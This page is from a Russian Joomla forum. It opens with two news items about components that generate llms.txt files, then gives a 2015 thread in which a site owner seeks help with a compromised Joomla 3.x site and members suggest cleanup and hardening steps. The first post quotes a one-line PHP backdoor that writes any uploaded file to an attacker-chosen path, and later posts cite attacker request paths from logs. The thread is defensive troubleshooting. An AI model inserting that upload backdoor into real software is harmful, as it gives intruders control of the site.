Новости Joomla

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Ещё один генератор ИИ-файлов llms.txt и llms-full.txt.

Основные особенности/возможности компонента:

  • Генерация по стандарту: Автоматическое создание файла-визитки llms.txt и расширенной версии llms-full.txt с аннотированным списком материалов.
  • Интеллектуальная работа с контентом: Компонент использует мета-описания (Meta Description) из статей и пунктов меню, превращая SEO-настройки сайта в качественный контекст для нейросетей.
  • Просмотреть результат генерации файлов можно сразу в рабочей области компонента. После внесения корректив (через Настройки компонента. При отладке лучше открыть три вкладки в браузере: Настройка — Геренация/Превью — Список Материалов/Категории/Меню.) — проводим перегенерацию, смотрим результат до полной «победы».
  • Автоматизация и безопасность: Синхронизация с sitemap.xml, группировка по категориям и автоматическое создание резервных копий (.bak) при каждой генерации.
  • Гибкое управление: Возможность исключения определенных категорий и/или статей и/или пунктов меню, а также простая настройка через стандартную админпанель Joomla.
  • Подробное руководство/справка: Пошаговая инструкция для пользователя в Настройках компонента для редакторов с базовым знанием администрирования Joomla.

👉 Важно учесть.
1️⃣ Компонент Генератор LLMs.txt изначально составляет базовый список ссылок на основе sitemap.xml и сверяется с ним на предмет: запрета индексации url в robots.txt, тегов noinex/nofollow. Это экономит время на проверку «закрыть от индексации», поскольку компонент генерации Sitemap.xml уже реализовал эту задачу. Посему, формирование ссылок для ИИ имеет комплексный подход, составление грамотного/валидного/релевантного sitemap.xml никто не отменял.

2️⃣ Тексты-описания ссылок формируются из Meta Description com_content (только компонент Материалы) и выбранных пользователем Меню сайта. Важно, чтобы Meta Description были уникальными и релевантными, соответствовали базовому seo. Составленные «на отшибись» Description для ИИ — «не катит» (впрочем, для поисковых систем они тоже «не канали»).

Разработчик - участник нашего сообщества Александр Кузнецов (@newvksan).

Страница расширения

@joomlafeed

#joomla #ии #ai

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

Это Joomla-компонент для публикации AI-ready карты сайта и автоматической генерации файлов llms.txt, llms-full.txt и llms.json по концепции llmstxt.org.  Также о концепции llms.txt говорит Google в своей справке Lighthouse. Решение помогает LLM-моделям, AI-агентам, GEO/AI SEO-процессам и внутренним автоматизациям получать структурированные данные о сайте без ручной сборки JSON и Markdown.

С помощью WT LLMs можно:
- создать структурированное описание сайта для AI-агентов;
- управлять профилем сайта, картой интентов и каноническими страницами для этих интентов из админки Joomla;
- генерировать llms.txt и llms.json;
- использовать REST API для автоматического заполнения данных;
- отдавать публичную schema-инструкцию для AI-агентов;

В комплект компонента входит плагин markdown-версии страниц Joomla. Системный плагин Joomla, который добавляет альтернативное Markdown-представление страниц сайта. Он позволяет отдавать содержимое страницы в более чистом текстовом формате, удобном для AI-агентов, LLM, поисковых систем и технических интеграций.
Плагин добавляет в ссылки на AI-файлы.

Пакет подходит для сайтов на Joomla 5+, которым важно сделать контент понятнее для LLM, AI-поиска, ассистентов и будущих систем машинного чтения.

Видео:
- ВК Видео
- RuTube
- YouTube

Ссылки:
Страница расширения
GitHub

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 19 Ответов
  • 4618 Просмотров
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Уязвимость Joomla
« : 07.06.2015, 16:56:48 »
Добрый день, проблема такая, в 5х php файлах (loader.php , import.legacy.php, cms.php...) были обнаружены такие строчки:
"if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}"
после чего сайт перестал работать до их удаления, 3 недели до этого, был похожий случай, так же пофикшен их удалением, в чем проблема, где может быть дыра?
Так же в файле config.php содержится такой код, это нормально?
Спойлер
[свернуть]
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #1 : 07.06.2015, 17:12:21 »
версия Joomla ? сканером еще поищи вирус/шелл
config.php удали
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #2 : 07.06.2015, 17:29:08 »
версия Joomla ? сканером еще поищи вирус/шелл
config.php удали
Версия 3.1, какой сканер посоветуете? config.php удалил
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Уязвимость Joomla
« Ответ #3 : 07.06.2015, 19:30:07 »
ai-bolit. ПС.. Не люблю доктора :)
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #4 : 11.06.2015, 21:01:16 »
Почистил сайт, но начали появлятся файлы под названиями "config.php" "libraries/joomla/crypt/error.php" "public_html/includes/system.php" "./public_html/images/sampledata/xml.php
.//public_html/images/color/session.php
./public_html/sxd/lang/view.php"
С содержимым по типу config.php в шапке топика, в чем может быть проблема, неужто из за версии движка 3.3.1? Есть ли способы найти проблему и что делать? В логах ничего интересного.
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Re: Уязвимость Joomla
« Ответ #5 : 11.06.2015, 21:05:24 »
значит внимательно читать access.log и прочие логи, скорей всего где то сидит типа шелл, который это дело и производит
Можно пройтись поиском по всему сайту, поискать где есть вхождение eval
Все расширения на сайте легальны и куплены? Пароли на все (фтп, бд, админ) изменены?
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #6 : 11.06.2015, 21:19:17 »
значит внимательно читать access.log и прочие логи, скорей всего где то сидит типа шелл, который это дело и производит
Можно пройтись поиском по всему сайту, поискать где есть вхождение eval
Все расширения на сайте легальны и куплены? Пароли на все (фтп, бд, админ) изменены?
Все легально, все пароли сменили, на eval искал по ftp, много нашёл и удалил, проверил антивирусниками и в ручную, но вчера опять появился новый файл ("libraries/joomla/crypt/error.php"), в котором был вредоносный код, в логах ничего интересного нет.
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #7 : 11.06.2015, 21:24:46 »
Встречал еще и такой файл, в начале проверка пароля через $auth_pass , а потом обфусцированный код
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #8 : 11.06.2015, 21:27:32 »
Встречал еще и такой файл, в начале проверка пароля через $auth_pass , а потом обфусцированный код
Что в таком случае делать? Обновлять двиг не хочется, да и не уверен что поможет, чистить каждый день от вирусов тоже не вариант, хостинг уже заблокировал почтовые ф-ции аккаунта...
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Re: Уязвимость Joomla
« Ответ #9 : 11.06.2015, 21:30:49 »
слить все на локаль, еще раз проверить всеми антивирусами и руками на eval и подобное
сменить все логины\пароли, адреса, ipшники, страну проживания

Ну честно, не бывает чудес, либо вы ставили варезное расширение либо у вас в компе вирус, который есть младенцев берет пароли с ftp клиента и все
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #10 : 11.06.2015, 22:16:08 »
Что в таком случае делать? Обновлять двиг не хочется, да и не уверен что поможет, чистить каждый день от вирусов тоже не вариант, хостинг уже заблокировал почтовые ф-ции аккаунта...
Если Joomla твоей версии и расширения содержать уязвимость, то нет смысла каждый день чистить.
Можно применить сканер мониторинга файлов, типа Eyesite . Узнать откуда рассылка спама можно, если версия PHP не ниже 5.3, с помощью mail.add_x_header
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Re: Уязвимость Joomla
« Ответ #11 : 11.06.2015, 22:17:55 »
Если Joomla твоей версии и расширения содержать уязвимость, то нет смысла каждый день чистить.
Простите, что? если расширения содержат уязвимость - нет смысла их искать и чистить?
И что означает "твоей"?
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #12 : 12.06.2015, 01:31:20 »
Проверил файлы, нашёл в 30 файлах такой код:
Так же заметил, что все файлы были модифицырованы 08.06 в 1.27
Ацес логи за то время:
Спойлер
[свернуть]
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #13 : 12.06.2015, 01:35:49 »
Насколько я понял, все началось после ""GET /cache/cwm.php " в самом файле, который я потер только что, лежал огромный eval код, так ли?
За 7 число нашёл логи с файлом cwp.php в котором похожий код:
Спойлер
[свернуть]
Что скажете по логам, каким способом вредоносные файлы попали на сайт? Все таки проблема в слитых паролях или каких то уязвимостях?
« Последнее редактирование: 12.06.2015, 01:46:50 от 13th_doctor_who »
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #14 : 12.06.2015, 07:56:08 »
.htaccess , с запретом на выполнение скриптов, в папку кеш, и желательно еще и в /images
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Уязвимость Joomla
« Ответ #15 : 12.06.2015, 08:39:11 »
неужто из за версии движка 3.3.1

Да
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #16 : 12.06.2015, 14:10:34 »
.htaccess , с запретом на выполнение скриптов, в папку кеш, и желательно еще и в /images
Не думаю что поможет, так как подобная проблема была в других папках, может посоветуете какой то плагин, который заблокирует действия по типу:
"POST /cache/com_jcomments_objects_com_jshopping/plugin.php"
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Уязвимость Joomla
« Ответ #17 : 12.06.2015, 14:59:44 »
Не думаю что поможет, так как подобная проблема была в других папках, может посоветуете какой то плагин, который заблокирует действия по типу:
"POST /cache/com_jcomments_objects_com_jshopping/plugin.php"
Другие папки тоже надо закрывать, а не только кеш и images

Что скажете по логам, каким способом вредоносные файлы попали на сайт? Все таки проблема в слитых паролях или каких то уязвимостях?
этих логов не достаточно, было бы не плохо посмотреть дату создания и модификации вредоносных файлов и по цепочки отслеживать. Проблемой может быть что угодно, как просто слитые пароли, так и уязвимсоти и не надежность хостера, тут нужно комплексно подходить к решению задачи, грамматно навести профилактические меры, чистку вредоносов, выставить политику логирования, также бы не помешала, какая нить система IDS но такие систему могут нагружать работу CMS.
« Последнее редактирование: 12.06.2015, 15:08:57 от winstrool »
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #18 : 12.06.2015, 15:11:49 »
Другие папки тоже надо закрывать, а не только кеш и images
Закрыл через .htaccess:
Спойлер
[свернуть]
Поставил на сайт: Eyesite (Для мониторинга изменений) и Marco's SQL Injection - LFI Interceptor для защиты.
Почистил все файлы, буду надеяться что поможет.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Уязвимость Joomla
« Ответ #19 : 12.06.2015, 15:16:20 »
Закрыл через .htaccess:
Спойлер
[свернуть]
Поставил на сайт: Eyesite (Для мониторинга изменений) и Marco's SQL Injection - LFI Interceptor для защиты.
Почистил все файлы, буду надеяться что поможет.
Недостаточно расширений, обходятся легко!, не поможет.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как выявить вредоностный код на CMS Joomla?

Автор stud_pro

Ответов: 1
Просмотров: 4586
Последний ответ 23.04.2024, 10:06:10
от wishlight
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 6080
Последний ответ 25.05.2023, 08:49:57
от Театрал
Скрипты защиты Joomla 4

Автор mister_boy

Ответов: 6
Просмотров: 5537
Последний ответ 16.05.2023, 16:38:58
от mister_boy
Поставил Joomla 4. Хостинг nic.ru стал ругаться на ошибки безопасности

Автор Oleg+

Ответов: 5
Просмотров: 3756
Последний ответ 13.09.2021, 09:23:28
от Oleg+
Joomla 1.5 и 2.5 на одном хостинге

Автор andreU

Ответов: 28
Просмотров: 15867
Последний ответ 25.04.2021, 19:42:48
от rsn